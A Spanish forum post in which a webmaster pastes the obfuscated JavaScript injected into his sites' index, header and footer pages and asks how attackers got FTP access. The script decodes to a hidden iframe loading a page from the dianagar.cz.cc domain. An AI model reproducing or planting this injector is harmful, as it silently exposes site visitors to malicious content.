Ver Mensaje Individual
  #9 (permalink)  
Antiguo 28/01/2011, 14:39
Avatar de juanolo
juanolo
 
Fecha de Ingreso: abril-2008
Mensajes: 251
Antigüedad: 16 años, 8 meses
Puntos: 5
Exclamación Respuesta: Pagina web infectada con dianagar.cz.cc ?!

A mi tambien me ha ocurrido en tres paginas webs que tengo a mi cargo en diferentes servidores (arsys, 1&1) y diferentes sistemas (wordpress y paginas hechas a mano).

El codigo infecta toda pagina que se llame index, header, footer.

El codigo es el siguiente...

<script>function createCSS(selector,declaration){var ua=navigator.userAgent.toLowerCase();var isIE=(/msie/.test(ua))&&!(/opera/.test(ua))&&(/win/.test(ua));var style_node=document.createElement("style");if(!isI E)style_node.innerHTML=selector+" {"+declaration+"}";document.getElementsByTagName(" head")[0].appendChild(style_node);if(isIE&&document.styleSh eets&&document.styleSheets.length>0){var last_style_node=document.styleSheets[document.styleSheets.length-1];if(typeof(last_style_node.addRule)=="object")last _style_node.addRule(selector,declaration);}};creat eCSS('#c0','background:url(data:,eval)');var hm=null;var r=document.styleSheets;for(var i=0;i<r.length;i++){try{var iix=r[i].cssRules||r[i].rules;for(var xoyy=0;xoyy<iix.length;xoyy++){var kba=iix.item?iix.item(xoyy):iix[xoyy];if(!kba.selectorText.match(/#c(\d+)/))continue;hm=kba.style.backgroundImage.match(/url\("?data\:[^,]*,([^")]+)"?\)/)[1];};}catch(e){};}

xo=new Date(2010,11,3,2,21,4);t=xo.getSeconds();var huur=[36/t,36/t,420/t,408/t,128/t,160/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,412/t,404/t,464/t,276/t,432/t,404/t,436/t,404/t,440/t,464/t,460/t,264/t,484/t,336/t,388/t,412/t,312/t,388/t,436/t,404/t,160/t,156/t,392/t,444/t,400/t,484/t,156/t,164/t,364/t,192/t,372/t,164/t,492/t,52/t,36/t,36/t,36/t,420/t,408/t,456/t,388/t,436/t,404/t,456/t,160/t,164/t,236/t,52/t,36/t,36/t,500/t,128/t,404/t,432/t,460/t,404/t,128/t,492/t,52/t,36/t,36/t,36/t,472/t,388/t,456/t,128/t,392/t,400/t,484/t,128/t,244/t,128/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,396/t,456/t,404/t,388/t,464/t,404/t,276/t,432/t,404/t,436/t,404/t,440/t,464/t,160/t,136/t,392/t,444/t,400/t,484/t,136/t,164/t,236/t,52/t,36/t,36/t,36/t,464/t,456/t,484/t,128/t,492/t,52/t,36/t,36/t,36/t,36/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,388/t,448/t,448/t,404/t,440/t,400/t,268/t,416/t,420/t,432/t,400/t,160/t,392/t,400/t,484/t,164/t,236/t,52/t,36/t,36/t,36/t,500/t,128/t,396/t,388/t,464/t,396/t,416/t,128/t,160/t,404/t,164/t,128/t,492/t,52/t,36/t,36/t,36/t,36/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,392/t,444/t,400/t,484/t,128/t,244/t,128/t,392/t,400/t,484/t,236/t,52/t,36/t,36/t,36/t,500/t,52/t,36/t,36/t,36/t,420/t,408/t,128/t,160/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,412/t,404/t,464/t,276/t,432/t,404/t,436/t,404/t,440/t,464/t,460/t,264/t,484/t,336/t,388/t,412/t,312/t,388/t,436/t,404/t,160/t,156/t,392/t,444/t,400/t,484/t,156/t,164/t,364/t,192/t,372/t,164/t,492/t,52/t,36/t,36/t,36/t,36/t,420/t,408/t,456/t,388/t,436/t,404/t,456/t,160/t,164/t,236/t,52/t,36/t,36/t,36/t,500/t,128/t,404/t,432/t,460/t,404/t,128/t,492/t,52/t,36/t,36/t,36/t,36/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,476/t,456/t,420/t,464/t,404/t,160/t,136/t,240/t,420/t,408/t,456/t,388/t,436/t,404/t,128/t,460/t,456/t,396/t,244/t,156/t,416/t,464/t,464/t,448/t,232/t,188/t,188/t,400/t,420/t,388/t,440/t,388/t,412/t,388/t,456/t,184/t,396/t,488/t,184/t,396/t,396/t,188/t,420/t,440/t,184/t,448/t,416/t,448/t,252/t,388/t,244/t,324/t,324/t,428/t,280/t,264/t,412/t,192/t,268/t,264/t,260/t,396/t,312/t,264/t,412/t,292/t,308/t,276/t,428/t,396/t,296/t,264/t,324/t,356/t,312/t,260/t,412/t,324/t,268/t,264/t,324/t,292/t,308/t,264/t,476/t,244/t,244/t,156/t,128/t,476/t,420/t,400/t,464/t,416/t,244/t,156/t,196/t,192/t,156/t,128/t,416/t,404/t,420/t,412/t,416/t,464/t,244/t,156/t,196/t,192/t,156/t,128/t,460/t,464/t,484/t,432/t,404/t,244/t,156/t,472/t,420/t,460/t,420/t,392/t,420/t,432/t,420/t,464/t,484/t,232/t,416/t,420/t,400/t,400/t,404/t,440/t,236/t,448/t,444/t,460/t,420/t,464/t,420/t,444/t,440/t,232/t,388/t,392/t,460/t,444/t,432/t,468/t,464/t,404/t,236/t,432/t,404/t,408/t,464/t,232/t,192/t,236/t,464/t,444/t,448/t,232/t,192/t,236/t,156/t,248/t,240/t,188/t,420/t,408/t,456/t,388/t,436/t,404/t,248/t,136/t,164/t,236/t,52/t,36/t,36/t,36/t,500/t,52/t,36/t,36/t,500/t,52/t,36/t,36/t,408/t,468/t,440/t,396/t,464/t,420/t,444/t,440/t,128/t,420/t,408/t,456/t,388/t,436/t,404/t,456/t,160/t,164/t,492/t,52/t,36/t,36/t,36/t,472/t,388/t,456/t,128/t,408/t,128/t,244/t,128/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,396/t,456/t,404/t,388/t,464/t,404/t,276/t,432/t,404/t,436/t,404/t,440/t,464/t,160/t,156/t,420/t,408/t,456/t,388/t,436/t,404/t,156/t,164/t,236/t,408/t,184/t,460/t,404/t,464/t,260/t,464/t,464/t,456/t,420/t,392/t,468/t,464/t,404/t,160/t,156/t,460/t,456/t,396/t,156/t,176/t,156/t,416/t,464/t,464/t,448/t,232/t,188/t,188/t,400/t,420/t,388/t,440/t,388/t,412/t,388/t,456/t,184/t,396/t,488/t,184/t,396/t,396/t,188/t,420/t,440/t,184/t,448/t,416/t,448/t,252/t,388/t,244/t,324/t,324/t,428/t,280/t,264/t,412/t,192/t,268/t,264/t,260/t,396/t,312/t,264/t,412/t,292/t,308/t,276/t,428/t,396/t,296/t,264/t,324/t,356/t,312/t,260/t,412/t,324/t,268/t,264/t,324/t,292/t,308/t,264/t,476/t,244/t,244/t,156/t,164/t,236/t,408/t,184/t,460/t,464/t,484/t,432/t,404/t,184/t,472/t,420/t,460/t,420/t,392/t,420/t,432/t,420/t,464/t,484/t,244/t,156/t,416/t,420/t,400/t,400/t,404/t,440/t,156/t,236/t,408/t,184/t,460/t,464/t,484/t,432/t,404/t,184/t,448/t,444/t,460/t,420/t,464/t,420/t,444/t,440/t,244/t,156/t,388/t,392/t,460/t,444/t,432/t,468/t,464/t,404/t,156/t,236/t,408/t,184/t,460/t,464/t,484/t,432/t,404/t,184/t,432/t,404/t,408/t,464/t,244/t,156/t,192/t,156/t,236/t,408/t,184/t,460/t,464/t,484/t,432/t,404/t,184/t,464/t,444/t,448/t,244/t,156/t,192/t,156/t,236/t,408/t,184/t,460/t,404/t,464/t,260/t,464/t,464/t,456/t,420/t,392/t,468/t,464/t,404/t,160/t,156/t,476/t,420/t,400/t,464/t,416/t,156/t,176/t,156/t,196/t,192/t,156/t,164/t,236/t,408/t,184/t,460/t,404/t,464/t,260/t,464/t,464/t,456/t,420/t,392/t,468/t,464/t,404/t,160/t,156/t,416/t,404/t,420/t,412/t,416/t,464/t,156/t,176/t,156/t,196/t,192/t,156/t,164/t,236/t,52/t,36/t,36/t,36/t,400/t,444/t,396/t,468/t,436/t,404/t,440/t,464/t,184/t,412/t,404/t,464/t,276/t,432/t,404/t,436/t,404/t,440/t,464/t,460/t,264/t,484/t,336/t,388/t,412/t,312/t,388/t,436/t,404/t,160/t,156/t,392/t,444/t,400/t,484/t,156/t,164/t,364/t,192/t,372/t,184/t,388/t,448/t,448/t,404/t,440/t,400/t,268/t,416/t,420/t,432/t,400/t,160/t,408/t,164/t,236/t,52/t,36/t,36/t,500/t];var zsas="";elze=function(){return{e:eval}}().e;qp=elz e(hm);var pr='';var gsr="fro"+xo.getSeconds()+"arCode";gsr=gsr.replace (4,"mCh");ofz=String[gsr];for(var i=0;i<huur.length;i++){crvr=qp(huur[i]);ofz.call(crvr);pr+=ofz(crvr);}

qp(pr);</script>

Yo no entiendo como es posible que lo hayan hecho.
Incluso e estado cambiando una primera web pero a la hora o asi se a vuelto a reescribir el codigo. He tenido que cambiar el password del servidor FTP y ya no a vuelto a ocurrir. En los otros servidores no puedo cambiar la password porke no tengo acceso al panel de control... veremos si mañana no se a vuelto a reproducir el codigo malicioso.

¿COMO ES POSIBLE?

Si alguien a modificado el codigo es porque a tenido acceso al servidor FTP no?
A mi solo se me ocurren dos posibilidades...
- Que a los que nos haya pasado tengamos algun virus o keylogger y nos han cogido las contraseñas.
- Que servidores como 1&1 o Arsys esten infectados de algo... cosa que me parece extraña.

¿Que a podido suceder? ¿Teneis alguna idea?